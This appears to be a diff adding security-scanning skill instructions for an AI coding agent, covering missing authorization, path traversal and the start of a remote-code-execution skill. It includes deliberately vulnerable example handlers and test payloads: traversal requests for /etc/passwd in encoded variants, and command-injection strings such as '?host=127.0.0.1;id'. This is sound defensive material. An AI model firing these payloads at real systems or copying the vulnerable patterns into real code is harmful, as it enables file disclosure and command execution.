> - Role constants/enums: `ROLE_ADMIN`, `'admin'`, `UserRole.ADMIN`, `is_staff`, `is_superuser`
> - Permission decorators: `@admin_required`, `@roles_required`, `@PreAuthorize`, `requireRole()`
> - Middleware: `AdminOnly`, `requireAdmin`, `role:admin`
> - Policy/Gate/Ability objects: `Gate::define`, `Policy`, `CanCanCan`, `Pundit`
> - In-handler checks: `if user.role != 'admin'`, `if not current_user.is_admin`
>
> 4. **Sensitive/privileged endpoints** to flag — any endpoint that:
> - Has an `/admin`, `/management`, `/internal`, `/api/admin`, `/superadmin`, `/system`, `/ops` path prefix
> - Performs user management: create/update/delete users, change roles, reset passwords for others
> - Manages application configuration: settings, feature flags, SMTP, secrets, environment variables
> - Accesses financial/billing data: invoices, payments, subscriptions for all users
> - Triggers system actions: sending emails to all users, running background jobs, clearing caches
> - Returns aggregate or sensitive data: all users, all orders, audit logs, error logs
>
> 5. **For each endpoint, note**:
> - Whether an auth middleware/decorator is present
> - Whether a role/permission check is present
> - The HTTP method(s) it handles
> - Whether it reads, writes, or deletes data
>
> **What to ignore**:
> - Publicly intended endpoints: login, register, password reset request, public content (blog posts, product listings)
> - Static asset serving, health-check endpoints (`/health`, `/ping`, `/status`)
>
> **Output format** — write to `sast/missingauth-recon.md`:
>
> ```markdown
> # Missing Auth Recon: [Project Name]
>
> ## Permission System Summary
> - Roles identified: [list roles, e.g. admin, moderator, user]
> - Auth mechanism: [JWT / session / API key / OAuth]
> - Auth decorators/middleware: [list names, e.g. @login_required, auth, requireAdmin]
>
> ## Endpoint Inventory
>
> ### 1. [Endpoint name / description]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint**: `METHOD /path`
> - **Operation**: [read / write / delete / admin-action]
> - **Auth present**: [yes / no]
> - **Role check present**: [yes / no / partial]
> - **Code snippet**:
> ```
> [route registration + handler signature]
> ```
>
> [Repeat for each endpoint]
> ```
### Phase 2: Verify — Check Authentication and Authorization
Launch a second subagent **after Phase 1 completes** with the following instructions:
> **Goal**: For each endpoint in `sast/missingauth-recon.md`, determine whether it has adequate authentication and authorization checks. Write final results to `sast/missingauth-results.md`.
>
> **Context**: You will be given the project's architecture summary and the recon results. Use the architecture summary to understand the middleware ordering, role definitions, and auth patterns.
>
> **For each endpoint, evaluate**:
>
> 1. **Authentication check** — is a valid login/session/token required?
> - Is there an auth middleware, decorator, or guard on this route or its parent group?
> - Trace the middleware chain — confirm the auth middleware runs BEFORE the handler, not after
> - Check if the route is accidentally mounted outside an auth-protected group
>
> 2. **Role/permission check** — if the endpoint is privileged, is a role or permission verified?
> - Look for: `is_admin`, `is_staff`, `role == 'admin'`, `hasRole('ADMIN')`, `@PreAuthorize`, `requireRole`, `can?(:manage, ...)`, `Gate::allows`, `authorize('admin-action')`
> - Verify the check runs on every HTTP method — a DELETE may be unguarded even if GET is protected
> - Check that the role comparison is not inverted or trivially bypassable
>
> 3. **Edge cases**:
> - Is the check conditional on a user-controlled header, parameter, or query string?
> - Does the auth gate apply to the route group but the specific route is excluded via an `except` list?
> - Is there a secondary unauthenticated path to the same function (e.g., an internal API alias)?
> - Does the middleware apply only to some environments (e.g., skipped in test mode)?
>
> 4. **Privilege identification**:
> - Does the endpoint path suggest it is admin/privileged (`/admin/`, `/manage/`, `/internal/`)?
> - Does the operation affect other users' data, system configuration, or aggregate records?
> - If yes to either, a role/permission check should be present
>
> **Classification**:
> - **Vulnerable**: No authentication required, or authenticated but role check is entirely absent on a privileged endpoint.
> - **Likely Vulnerable**: Auth and/or role check exists but appears incomplete, bypassable, or misapplied (e.g., wrong role, wrong HTTP method, conditional skip).
> - **Not Vulnerable**: Proper authentication and role/permission checks are in place.
> - **Needs Manual Review**: Cannot determine with confidence (e.g., complex middleware chain, dynamic role loading, authorization delegated to a service layer).
>
> **Output format** — write to `sast/missingauth-results.md`:
>
> ```markdown
> # Missing Auth/Authz Analysis Results: [Project Name]
>
> ## Executive Summary
> - Endpoints analyzed: [N]
> - Vulnerable: [N]
> - Likely Vulnerable: [N]
> - Not Vulnerable: [N]
> - Needs Manual Review: [N]
>
> ## Findings
>
> ### [VULNERABLE] Endpoint name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint**: `METHOD /path`
> - **Issue**: [Missing authentication / Missing role check for privileged action]
> - **Impact**: [What an unauthenticated or low-privilege attacker can do]
> - **Proof**: [Show the route definition and handler — highlight the missing check]
> - **Remediation**: [Specific fix — add auth middleware, add role decorator, etc.]
> - **Dynamic Test**:
> ```
> [curl command or step-by-step to confirm on the live app.
> For missing auth: show the request with NO token succeeding.
> For missing role: show the request with a regular user token succeeding on an admin endpoint.
> Use placeholders like <REGULAR_USER_TOKEN>, <ADMIN_ENDPOINT>.]
> ```
>
> ### [LIKELY VULNERABLE] Endpoint name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint**: `METHOD /path`
> - **Issue**: [What's incomplete about the check]
> - **Concern**: [Why this might still be exploitable]
> - **Proof**: [Show the code path with the weak/partial check]
> - **Remediation**: [Specific fix]
> - **Dynamic Test**:
> ```
> [curl command or step-by-step instructions to confirm this finding on the live app.]
> ```
>
> ### [NOT VULNERABLE] Endpoint name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint**: `METHOD /path`
> - **Protection**: [How it's protected — auth middleware + role decorator / @PreAuthorize / Gate, etc.]
>
> ### [NEEDS MANUAL REVIEW] Endpoint name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint**: `METHOD /path`
> - **Uncertainty**: [Why automated analysis couldn't determine the status]
> - **Suggestion**: [What to look at manually]
> ```
---
## Important Reminders
- Read `sast/architecture.md` and pass its content to both subagents as context.
- Phase 2 must run AFTER Phase 1 completes — it depends on the recon output.
- Focus on **vertical privilege escalation** (user → admin) and **unauthenticated access**. Horizontal escalation (user A → user B's resource) is covered by the IDOR skill.
- Authentication (you are who you say you are) and authorization (you are allowed to do this) are separate concerns — check both.
- Middleware order matters: a middleware registered after the route handler will NOT protect the route.
- A missing auth or role check on one HTTP method (e.g., DELETE) is a full vulnerability even if GET is protected.
- When in doubt, classify as "Needs Manual Review" rather than "Not Vulnerable". False negatives are worse than false positives in security assessment.
- Pay attention to route grouping: a `use('/admin', adminRouter)` pattern protects all routes in `adminRouter`, but routes mounted outside that group are not protected.
@@ -0,0 +1,499 @@
---
name: sast-pathtraversal
description: >-
Detect path traversal vulnerabilities in a codebase using a two-phase
approach: first find all file-loading sites where a path is constructed
dynamically (open, readFile, send_file, etc.), then trace whether
user-supplied input reaches those sites and can escape the intended base
directory. Requires sast/architecture.md (run sast-analysis first). Outputs
findings to sast/pathtraversal-results.md. Use when asked to find path
traversal, directory traversal, or file disclosure bugs.
---
# Path Traversal Detection
You are performing a focused security assessment to find path traversal vulnerabilities in a codebase. This skill uses a two-phase approach with subagents: **sink discovery** (find all places where files are loaded using dynamically constructed paths) then **taint** (confirm whether user-supplied input reaches those sinks and can escape the intended directory).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is Path Traversal
Path traversal (also called directory traversal) occurs when user-supplied input is incorporated into a file path that is then used to read, write, or serve files from the filesystem — without properly constraining the resulting path to an intended base directory. An attacker can supply sequences like `../` or encoded variants (`%2e%2e%2f`, `..%2f`, `%2e%2e/`) to escape the intended directory and access arbitrary files such as `/etc/passwd`, application source code, credentials, or private keys.
The core pattern: *unvalidated user input reaches a filesystem operation and the resolved path is not verified to remain within the intended base directory.*
### What Path Traversal IS
- Serving a user-requested filename directly from a base directory without canonicalizing and checking the resulting path:
`open(os.path.join(BASE_DIR, user_filename))`
- Constructing a file path from a URL parameter and passing it to a file-read function:
`fs.readFile(path.join(__dirname, req.query.file), ...)`
- Template rendering or include directives driven by user input:
`include($_GET['page'] . '.php')`
- Archive extraction (`ZipFile`, `tarfile`, `zipslip`) where entry names are used as output paths without stripping `../` components
- Using `send_file()` / `send_from_directory()` / `res.sendFile()` with an unsanitized user-controlled path
- Reading a file whose path is derived from a user-controlled database value that was stored without sanitization
### What Path Traversal is NOT
Do not flag these as path traversal:
- **SSRF**: Fetching a remote URL from user input — that is Server-Side Request Forgery, a separate class
- **RCE via file write**: Writing attacker-controlled content to an arbitrary path — related but a different impact class (flag as RCE or File Upload)
- **Static file serving**: Serving files from a path that is entirely hardcoded with no user influence
- **Safe path joins followed by realpath + prefix check**: The code computes `realpath()` and verifies it starts with the intended base directory
- **basename() before join**: Using only the filename component strips traversal sequences (though note this prevents directory selection, not just traversal)
### Patterns That Prevent Path Traversal
When you see these mitigations applied **before** the file operation, the code is likely **not vulnerable**:
**1. `realpath` / `resolve` followed by a base-directory prefix check (most robust fix)**
```python
# Python
import os
BASE = '/var/www/files'
safe_path = os.path.realpath(os.path.join(BASE, user_input))
if not safe_path.startswith(BASE + os.sep):
raise PermissionError("Path escape detected")
with open(safe_path) as f:
...
```
```javascript
// Node.js
const BASE = path.resolve('/var/www/files');
const resolved = path.resolve(BASE, req.query.file);
if (!resolved.startsWith(BASE + path.sep)) {
return res.status(403).send('Forbidden');
}
fs.readFile(resolved, ...);
```
```java
// Java
Path base = Paths.get("/var/www/files").toRealPath();
Path resolved = base.resolve(userInput).normalize();
if (!resolved.startsWith(base)) {
throw new SecurityException("Path escape");
}
Files.readAllBytes(resolved);
```
**2. `basename()` / `path.basename()` to strip directory components**
```python
# Python — strips all directory parts, only the filename remains
filename = os.path.basename(user_input)
with open(os.path.join(BASE, filename)) as f:
...
```
```php
// PHP
$filename = basename($_GET['file']);
readfile('/var/www/uploads/' . $filename);
```
**3. Allowlist of permitted filenames or extensions**
```python
ALLOWED = {'report.pdf', 'manual.txt', 'logo.png'}
if user_input not in ALLOWED:
abort(400)
with open(os.path.join(BASE, user_input)) as f:
...
```
**4. Framework-provided safe file serving**
```python
# Flask — send_from_directory validates the path stays within the directory
return send_from_directory('/var/www/files', filename)
# Django — FileResponse with a path that was never user-controlled
```
---
## Vulnerable vs. Secure Examples
### Python — Flask
```python
# VULNERABLE: user-controlled filename joined without realpath check
@app.route('/download')
def download():
filename = request.args.get('file')
filepath = os.path.join('/var/www/files', filename)
return send_file(filepath)
# SECURE: resolve and verify the path stays within the base directory
@app.route('/download')
def download():
filename = request.args.get('file')
base = os.path.realpath('/var/www/files')
filepath = os.path.realpath(os.path.join(base, filename))
if not filepath.startswith(base + os.sep):
abort(403)
return send_file(filepath)
```
### Python — FastAPI
```python
# VULNERABLE: path parameter used directly in file read
@app.get('/file/{name}')
async def get_file(name: str):
return FileResponse(f'/app/static/{name}')
# SECURE: basename strips traversal sequences
@app.get('/file/{name}')
async def get_file(name: str):
safe_name = os.path.basename(name)
return FileResponse(os.path.join('/app/static', safe_name))
```
### Node.js — Express
```javascript
// VULNERABLE: req.query.file used directly in readFile
app.get('/file', (req, res) => {
const filePath = path.join(__dirname, 'uploads', req.query.file);
fs.readFile(filePath, (err, data) => res.send(data));
});
// SECURE: resolve and check prefix
app.get('/file', (req, res) => {
const base = path.resolve(__dirname, 'uploads');
const filePath = path.resolve(base, req.query.file);
if (!filePath.startsWith(base + path.sep)) {
return res.status(403).send('Forbidden');
}
fs.readFile(filePath, (err, data) => res.send(data));
});
```
### PHP
```php
// VULNERABLE: direct inclusion of user input
<?php
$page = $_GET['page'];
include($page . '.php');
// VULNERABLE: readfile with unsanitized path
$file = $_GET['file'];
readfile('/var/www/uploads/' . $file);
// SECURE: basename strips directory components
$file = basename($_GET['file']);
readfile('/var/www/uploads/' . $file);
// SECURE: realpath + prefix check
$base = realpath('/var/www/uploads');
$path = realpath($base . '/' . $_GET['file']);
if ($path === false || strpos($path, $base . DIRECTORY_SEPARATOR) !== 0) {
http_response_code(403);
exit;
}
readfile($path);
```
### Ruby on Rails
```ruby
# VULNERABLE: params[:file] used directly in file read
def show
file_path = Rails.root.join('public', 'reports', params[:file])
send_file file_path
end
# SECURE: basename only
def show
safe_name = File.basename(params[:file])
send_file Rails.root.join('public', 'reports', safe_name)
end
```
### Java — Spring
```java
// VULNERABLE: path variable used directly to read file
@GetMapping("/file/{name}")
public ResponseEntity<Resource> getFile(@PathVariable String name) throws IOException {
Path filePath = Paths.get("/var/www/files").resolve(name);
Resource resource = new UrlResource(filePath.toUri());
return ResponseEntity.ok(resource);
}
// SECURE: normalize and check prefix
@GetMapping("/file/{name}")
public ResponseEntity<Resource> getFile(@PathVariable String name) throws IOException {
Path base = Paths.get("/var/www/files").toRealPath();
Path resolved = base.resolve(name).normalize();
if (!resolved.startsWith(base)) {
return ResponseEntity.status(403).build();
}
Resource resource = new UrlResource(resolved.toUri());
return ResponseEntity.ok(resource);
}
```
### Go
```go
// VULNERABLE: query param joined directly to base directory
func fileHandler(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("file")
http.ServeFile(w, r, filepath.Join("/var/www/files", name))
}
// SECURE: filepath.Clean + prefix check
func fileHandler(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("file")
base := "/var/www/files"
clean := filepath.Join(base, filepath.Clean("/"+name))
if !strings.HasPrefix(clean, base+string(os.PathSeparator)) {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}
http.ServeFile(w, r, clean)
}
```
### Archive Extraction (ZipSlip)
```python
# VULNERABLE: ZipSlip — zip entry names can contain ../
import zipfile
with zipfile.ZipFile(user_zip) as zf:
zf.extractall('/var/www/uploads')
# SECURE: validate each entry path stays within the target directory
import zipfile, os
base = os.path.realpath('/var/www/uploads')
with zipfile.ZipFile(user_zip) as zf:
for member in zf.namelist():
target = os.path.realpath(os.path.join(base, member))
if not target.startswith(base + os.sep):
raise ValueError(f"ZipSlip detected: {member}")
zf.extractall(base)
```
---
## Execution
This skill runs in two phases using subagents. Pass the contents of `sast/architecture.md` to both subagents as context.
### Phase 1: Find File-Loading Sinks With Dynamic Paths
Launch a subagent with the following instructions:
> **Goal**: Find every location in the codebase where a file is opened, read, served, or extracted using a dynamically constructed path — meaning the path (or a component of it) is stored in a variable rather than being a fully hardcoded string. Write results to `sast/pathtraversal-recon.md`.
>
> **Context**: You will be given the project's architecture summary. Use it to understand the tech stack, web framework, file-serving patterns, and any file upload or download features.
>
> **What to search for — file-loading sinks with dynamic path components**:
>
> Flag any call to a file-reading/serving function where the path argument contains a variable (regardless of where the variable comes from). You are **not** tracing user input in this phase — that is Phase 2's job. Just find all dynamic file access patterns.
>
> 1. **Direct file open / read calls with a variable path**:
> - Python: `open(var)`, `open(os.path.join(..., var))`, `pathlib.Path(var).read_text()`, `pathlib.Path(var).read_bytes()`
> - Node.js: `fs.readFile(var, ...)`, `fs.readFileSync(var)`, `fs.createReadStream(var)`
> - PHP: `file_get_contents(var)`, `fopen(var, ...)`, `readfile(var)`, `include(var)`, `require(var)`, `include_once(var)`, `require_once(var)`
> - Ruby: `File.read(var)`, `File.open(var)`, `IO.read(var)`, `IO.binread(var)`
> - Java: `new FileInputStream(var)`, `new File(var)`, `Files.readAllBytes(Paths.get(var))`, `Files.newInputStream(path)`
> - Go: `os.Open(var)`, `os.ReadFile(var)`, `ioutil.ReadFile(var)`, `os.OpenFile(var, ...)`
> - C#: `File.ReadAllText(var)`, `File.ReadAllBytes(var)`, `new FileStream(var, ...)`, `System.IO.File.Open(var, ...)`
>
> 2. **Framework file-serving calls with a variable path**:
> - Flask: `send_file(var)`, `send_from_directory(base, var)`
> - FastAPI / Starlette: `FileResponse(var)`
> - Django: `FileResponse(open(var, 'rb'))`, `StreamingHttpResponse` over an opened file
> - Express: `res.sendFile(var)`, `res.download(var)`, `express.static` with dynamic root
> - Spring: `new UrlResource(path.toUri())`, `ResourceLoader.getResource(var)`, `ClassPathResource(var)`
> - Rails: `send_file var`, `render file: var`
> - Go: `http.ServeFile(w, r, var)`, `http.ServeContent(w, r, var, ...)`
>
> 3. **Path construction functions where at least one component is a variable**:
> - `os.path.join(BASE, var)`, `os.path.join(var1, var2)`
> - `path.join(__dirname, var)`, `path.resolve(base, var)`
> - `Paths.get(base).resolve(var)`
> - `filepath.Join(base, var)`
> - String concatenation used as a path: `BASE + var`, `f"{BASE}/{var}"`, `` `${base}/${var}` ``
>
> 4. **Archive extraction with user-supplied archives** (ZipSlip pattern):
> - Python: `zipfile.ZipFile.extractall(...)`, `tarfile.TarFile.extractall(...)`
> - Java: `ZipEntry.getName()` used as an output path
> - Node.js: `unzipper`, `adm-zip`, `node-tar` extraction calls
> - Go: `archive/zip` or `archive/tar` extraction without entry-name validation
>
> **What to skip** (these have no dynamic path component — do not flag):
> - File paths that are fully hardcoded string literals with no variable parts
> - Paths derived entirely from server-side config / environment variables with no user-supplied component (e.g., `open(settings.LOG_FILE)` where `LOG_FILE` is a config value)
> - Framework built-in static file middleware where the root directory is hardcoded (e.g., `express.static('public')` with a fixed root)
>
> **Output format** — write to `sast/pathtraversal-recon.md`:
>
> ```markdown
> # Path Traversal Recon: [Project Name]
>
> ## Summary
> Found [N] locations where files are accessed using dynamically constructed paths.
>
> ## File-Loading Sinks
>
> ### 1. [Descriptive name — e.g., "Dynamic readFile in download endpoint"]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Function / endpoint**: [function name or route]
> - **Sink**: [open / fs.readFile / send_file / include / FileInputStream / etc.]
> - **Path construction**: [os.path.join / path.join / string concat / f-string / etc.]
> - **Dynamic variable(s)**: `var_name` — [brief note on what it appears to represent, e.g., "looks like a filename from request" or "unknown origin"]
> - **Code snippet**:
> ```
> [the path construction + file operation call]
> ```
>
> [Repeat for each sink]
> ```
### After Phase 1: Check for Candidates Before Proceeding
After Phase 1 completes, read `sast/pathtraversal-recon.md`. If the recon found **zero file-loading sinks** (the summary reports "Found 0" or the "File-Loading Sinks" section is empty or absent), **skip Phase 2 entirely**. Instead, write the following content to `sast/pathtraversal-results.md` and stop:
```markdown
# Path Traversal Analysis Results
No vulnerabilities found.
```
Only proceed to Phase 2 if Phase 1 found at least one file-loading sink.
### Phase 2: Trace User Input to File-Loading Sinks and Check for Escape
Launch a second subagent **after Phase 1 completes** with the following instructions:
> **Goal**: For each file-loading sink in `sast/pathtraversal-recon.md`, determine whether a user-supplied value reaches the dynamic path variable AND whether any mitigation prevents the path from escaping the intended base directory. Write final results to `sast/pathtraversal-results.md`.
>
> **Context**: You will be given the project's architecture summary and the Phase 1 recon output. Use the architecture to understand request entry points, middleware, and how data flows through the application.
>
> **For each sink, perform two checks**:
>
> **Check A — Is the path variable user-controlled?**
>
> Trace the dynamic variable(s) backwards to their origin:
>
> 1. **Direct user input** — the variable is assigned directly from a request source:
> - HTTP query params: `request.GET.get(...)`, `req.query.x`, `params[:x]`, `$_GET['x']`, `c.Query("x")`
> - Path parameters: `request.path_params['name']`, `req.params.name`, `params[:name]`, `c.Param("name")`
> - Request body / form fields: `request.POST.get(...)`, `req.body.x`, `params[:x]`, `$_POST['x']`
> - HTTP headers: `request.headers.get(...)`, `req.headers['x']`
> - Cookies: `request.COOKIES.get(...)`, `req.cookies.x`
> - Multipart filename: `file.filename`, `req.file.originalname`, `$_FILES['file']['name']`
>
> 2. **Indirect user input** — the variable is derived from user input through transformations, intermediate assignments, or function calls. Trace the full chain:
> - Variable assigned from a helper function → check the function's source
> - Variable passed as an argument → check all call sites
> - Variable read from a database value that was originally stored from user input
>
> 3. **Server-side / hardcoded value** — the variable comes from config, an environment variable, a hardcoded constant, or server-side logic with no user influence — this sink is NOT exploitable via path traversal.
>
> **Check B — Is path escape prevented by an effective mitigation?**
>
> Even if user input reaches the path, the following mitigations prevent traversal. Check whether they are applied **before** the file operation and applied **correctly**:
>
> - **`realpath` / `os.path.realpath()` + base-directory prefix check**: resolves symlinks and `..` sequences, then verifies the result starts with the intended base. This is the strongest fix.
> - `os.path.realpath(path).startswith(BASE + os.sep)` — effective ✓
> - `os.path.realpath(path).startswith(BASE)` without trailing separator — potentially bypassable if BASE is a prefix of another directory name ✗
> - **`path.resolve()` + `startsWith(base + sep)`** (Node.js) — effective ✓
> - **`Paths.get(...).normalize()` + `startsWith(base)`** (Java) — effective only if `base` was also obtained via `toRealPath()` ✓
> - **`filepath.Clean()` + `strings.HasPrefix(clean, base+sep)`** (Go) — effective ✓
> - **`basename()` / `path.basename()` / `File.basename()`** — strips all directory components; effective at preventing traversal but prevents subdirectory access
> - **Allowlist of permitted filenames** — fully effective if the allowlist is strict and the input is compared against it before use
> - **Framework `send_from_directory`** (Flask) — Flask's `send_from_directory` internally calls `safe_join` which raises an error on traversal; effective ✓
>
> Mitigations that are **insufficient**:
> - Stripping `../` with a simple `replace('../', '')` — bypassable with `....//` or URL encoding
> - Checking that input does not start with `/` — does not prevent relative traversal
> - Using `os.path.join` alone without `realpath` — `os.path.join('/base', '../etc/passwd')` still produces `/etc/passwd`
> - URL-decoding the input once — attackers can double-encode: `%252e%252e%252f` → `%2e%2e%2f` → `../`
> - Type validation (e.g., checking the extension is `.pdf`) without a path escape check — an attacker can use `../../etc/passwd%00.pdf` (null-byte) on older systems or frame the path to have the right extension at the end
>
> **Classification**:
> - **Vulnerable**: User input demonstrably reaches the path variable AND no effective mitigation is in place before the file operation.
> - **Likely Vulnerable**: User input probably reaches the path variable (indirect flow), or a weak/incomplete mitigation is present (e.g., `replace('../', '')`, no trailing-separator in prefix check).
> - **Not Vulnerable**: The path variable is server-side only, OR an effective mitigation (`realpath` + prefix check, `basename`, strict allowlist, safe framework helper) is correctly applied.
> - **Needs Manual Review**: Cannot determine the variable's origin with confidence (passes through opaque helpers or complex conditional flows), or the mitigation logic is non-standard and hard to evaluate statically.
>
> **Output format** — write to `sast/pathtraversal-results.md`:
>
> ```markdown
> # Path Traversal Analysis Results: [Project Name]
>
> ## Executive Summary
> - Sinks analyzed: [N]
> - Vulnerable: [N]
> - Likely Vulnerable: [N]
> - Not Vulnerable: [N]
> - Needs Manual Review: [N]
>
> ## Findings
>
> ### [VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Issue**: [e.g., "HTTP query param `file` flows directly into os.path.join without realpath check"]
> - **Taint trace**: [Step-by-step from entry point to the file operation — e.g., "request.args.get('file') → filename → os.path.join(BASE, filename) → open(...)"]
> - **Missing mitigation**: [What check is absent — e.g., "No realpath() call; no prefix verification after join"]
> - **Impact**: Read arbitrary files accessible to the process user, including `/etc/passwd`, application config, source code, private keys.
> - **Remediation**: [Specific fix — e.g., "Apply os.path.realpath() after joining, then verify the result starts with BASE + os.sep before opening"]
> - **Dynamic Test**:
> ```
> [curl command or payload to confirm this finding.
> Show the exact parameter and traversal payload to test.
> Example:
> curl "https://app.example.com/download?file=../../../../etc/passwd"
> curl "https://app.example.com/download?file=..%2F..%2F..%2Fetc%2Fpasswd"
> curl "https://app.example.com/download?file=....//....//etc/passwd"
> Look for /etc/passwd content in the response.]
> ```
>
> ### [LIKELY VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Issue**: [e.g., "Variable likely sourced from user input via helper function" or "Weak mitigation: strips ../ but bypassable with ....//"]
> - **Taint trace**: [Best-effort trace with the uncertain step identified]
> - **Concern**: [Why it remains a risk despite partial mitigation]
> - **Remediation**: [Apply realpath + prefix check or basename before joining]
> - **Dynamic Test**:
> ```
> [payloads to attempt bypass of the partial mitigation]
> ```
>
> ### [NOT VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Reason**: [e.g., "Path is derived entirely from server-side config" or "os.path.realpath() + prefix check correctly applied"]
>
> ### [NEEDS MANUAL REVIEW] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Uncertainty**: [Why the variable's origin or mitigation could not be determined]
> - **Suggestion**: [What to trace manually — e.g., "Follow `resolve_asset_path()` in helpers.py to check where its return value originates"]
> ```
---
## Important Reminders
- Read `sast/architecture.md` and pass its content to both subagents as context.
- Phase 2 must run AFTER Phase 1 completes — it depends on the recon output.
- **Phase 1 is purely structural**: flag any file-loading sink where the path has a dynamic component, regardless of origin. Do not attempt to trace user input in Phase 1 — that is Phase 2's job.
- **Phase 2 is taint analysis + mitigation review**: for each sink found in Phase 1, (a) trace the path variable back to its origin and (b) check whether an effective mitigation prevents escape from the intended directory.
- `os.path.join` and `path.join` alone do **not** prevent traversal — `os.path.join('/base', '../etc/passwd')` resolves to `/etc/passwd`. Only `realpath` + prefix check prevents this.
- Encoded traversal variants (`%2e%2e%2f`, `%252e%252e%252f`, `..%2f`, `%2e%2e/`) bypass naive string-match filters; only filesystem-level resolution (`realpath`) handles them reliably.
- `send_from_directory` in Flask is safe by itself (it calls `safe_join` internally) — do not flag it unless user input is also used as the *base directory* argument.
- Archive extraction (ZipSlip) is a path traversal variant: zip/tar entry names can contain `../` sequences. Flag any extraction that uses entry names as output paths without per-entry validation.
- Second-order traversal is possible: a filename stored in the DB from user input may later be used in a file read elsewhere in the codebase. Treat DB-read path values as potentially tainted and trace back to where they were written.
- When in doubt, classify as "Needs Manual Review" rather than "Not Vulnerable". False negatives are worse than false positives in security assessment.
+651
View File
@@ -0,0 +1,651 @@
---
name: sast-rce
description: >-
Detect Remote Code Execution (RCE) vulnerabilities in a codebase using a
two-phase approach: first find dangerous execution sinks (OS command calls,
eval-like functions, unsafe deserialization), then trace whether user-supplied
input reaches those sinks. Requires sast/architecture.md (run sast-analysis
first). Outputs findings to sast/rce-results.md. Use when asked to find RCE,
command injection, or unsafe deserialization bugs.
---
# Remote Code Execution (RCE) Detection
You are performing a focused security assessment to find Remote Code Execution vulnerabilities in a codebase. This skill uses a two-phase approach with subagents: **sink discovery** (find all places where OS commands are executed, code is dynamically evaluated, or untrusted data is deserialized) then **taint analysis** (confirm whether user-supplied input reaches those sinks).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is Remote Code Execution
Remote Code Execution (RCE) occurs when an attacker can cause the application to execute arbitrary OS commands or application-level code that they control. This is typically the highest-severity vulnerability class, often resulting in complete server compromise.
RCE arises from three primary root causes:
1. **OS Command Injection**: User input is embedded unsafely into an OS command string, allowing shell metacharacters to inject additional commands.
2. **Code Injection (eval-like)**: User input is passed to functions that interpret it as executable code (`eval`, `exec`, `Function()`, etc.).
3. **Unsafe Deserialization**: User-supplied serialized data is deserialized using a gadget-prone deserializer, triggering arbitrary code execution via crafted payloads.
### What RCE IS
- Passing user input directly or indirectly into OS command execution functions with shell interpretation enabled
- Using `eval()`, `exec()`, `Function()`, or equivalent constructs with user-controlled strings
- Deserializing user-supplied bytes/strings with inherently unsafe deserializers (pickle, PHP unserialize, Java native serialization, Ruby Marshal, etc.)
- Using `yaml.load()` without a safe loader on user-supplied content
- Dynamic `require()`/`import()` with user-controlled module paths
- PHP file inclusion (`include`/`require`) with user-controlled paths
### What RCE is NOT
Do not flag these as RCE:
- **SSRF**: Making HTTP requests to attacker-controlled URLs — different vulnerability class (no code execution)
- **Path Traversal**: Reading/writing arbitrary files — separate class (unless the read file is then executed/deserialized)
- **SSTI**: Template injection via template engines — a separate though related class; flag as SSTI, not RCE
- **XSS**: JavaScript execution in a victim's browser — client-side only, not server-side RCE
- **SQL Injection**: Injecting into database queries — different class (even if `xp_cmdshell` can lead to OS commands, flag it as SQLi)
- **Safe subprocess list-form calls**: `subprocess.run(["ls", user_arg])` with a list and no `shell=True` — arguments are passed directly to the OS without shell expansion; not vulnerable to command injection
- **Safe deserialization**: `json.loads()`, `yaml.safe_load()`, `xml.etree.ElementTree.parse()` — these formats have no code execution semantics
### Patterns That Prevent RCE
When you see these patterns, the code is likely **not vulnerable**:
**1. Subprocess list form without shell interpretation**
```
# Python — list args, no shell=True
subprocess.run(["convert", "-resize", size, input_file, output_file])
subprocess.Popen(["git", "clone", repo_url])
# Node.js — spawn with separate args (no shell)
child_process.spawn("ffmpeg", ["-i", inputFile, outputFile])
# Java — ProcessBuilder with list
new ProcessBuilder("ls", "-la", dir).start()
# Ruby — system() with multiple args (not a single interpolated string)
system("ffmpeg", "-i", "input.mp4", "-f", format, "output")
```
**2. Safe deserialization formats**
```
# Python — JSON instead of pickle
import json
data = json.loads(user_input) # no code execution semantics
# Python — safe YAML loader
import yaml
data = yaml.safe_load(user_input) # restricts to basic types only
# Java — Jackson without enableDefaultTyping, with concrete target type
ObjectMapper mapper = new ObjectMapper();
MyClass obj = mapper.readValue(json, MyClass.class); # safe
```
**3. Strict allowlist before command construction**
```
# Python — allowlist for dynamic arguments
ALLOWED_FORMATS = {"png", "jpg", "webp"}
if fmt not in ALLOWED_FORMATS:
return abort(400)
subprocess.run(["convert", infile, f"output.{fmt}"])
# Node.js — allowlist for dynamic args
const ALLOWED_COMMANDS = ['ls', 'pwd'];
if (!ALLOWED_COMMANDS.includes(cmd)) return res.status(400).end();
spawn(cmd, []);
```
---
## Vulnerable vs. Secure Examples
### OS Command Injection — Python
```python
# VULNERABLE: shell=True with f-string
@app.route('/ping')
def ping():
host = request.args.get('host')
result = subprocess.run(f"ping -c 1 {host}", shell=True, capture_output=True, text=True)
return result.stdout
# Payload: ?host=127.0.0.1;id → executes "id"
# VULNERABLE: os.system with string formatting
def convert_image(filename):
size = request.form.get('size')
os.system(f"convert {filename} -resize {size} output.jpg")
# SECURE: list-form subprocess, no shell
@app.route('/ping')
def ping():
host = request.args.get('host')
result = subprocess.run(["ping", "-c", "1", host], capture_output=True, text=True, timeout=5)
return result.stdout
```
### OS Command Injection — Node.js
```javascript
// VULNERABLE: exec with template literal
app.get('/search', (req, res) => {
const query = req.query.q;
exec(`grep -r "${query}" /var/log/app/`, (err, stdout) => {
res.send(stdout);
});
});
// Payload: ?q=foo" /etc/passwd "
// VULNERABLE: execSync with concatenation
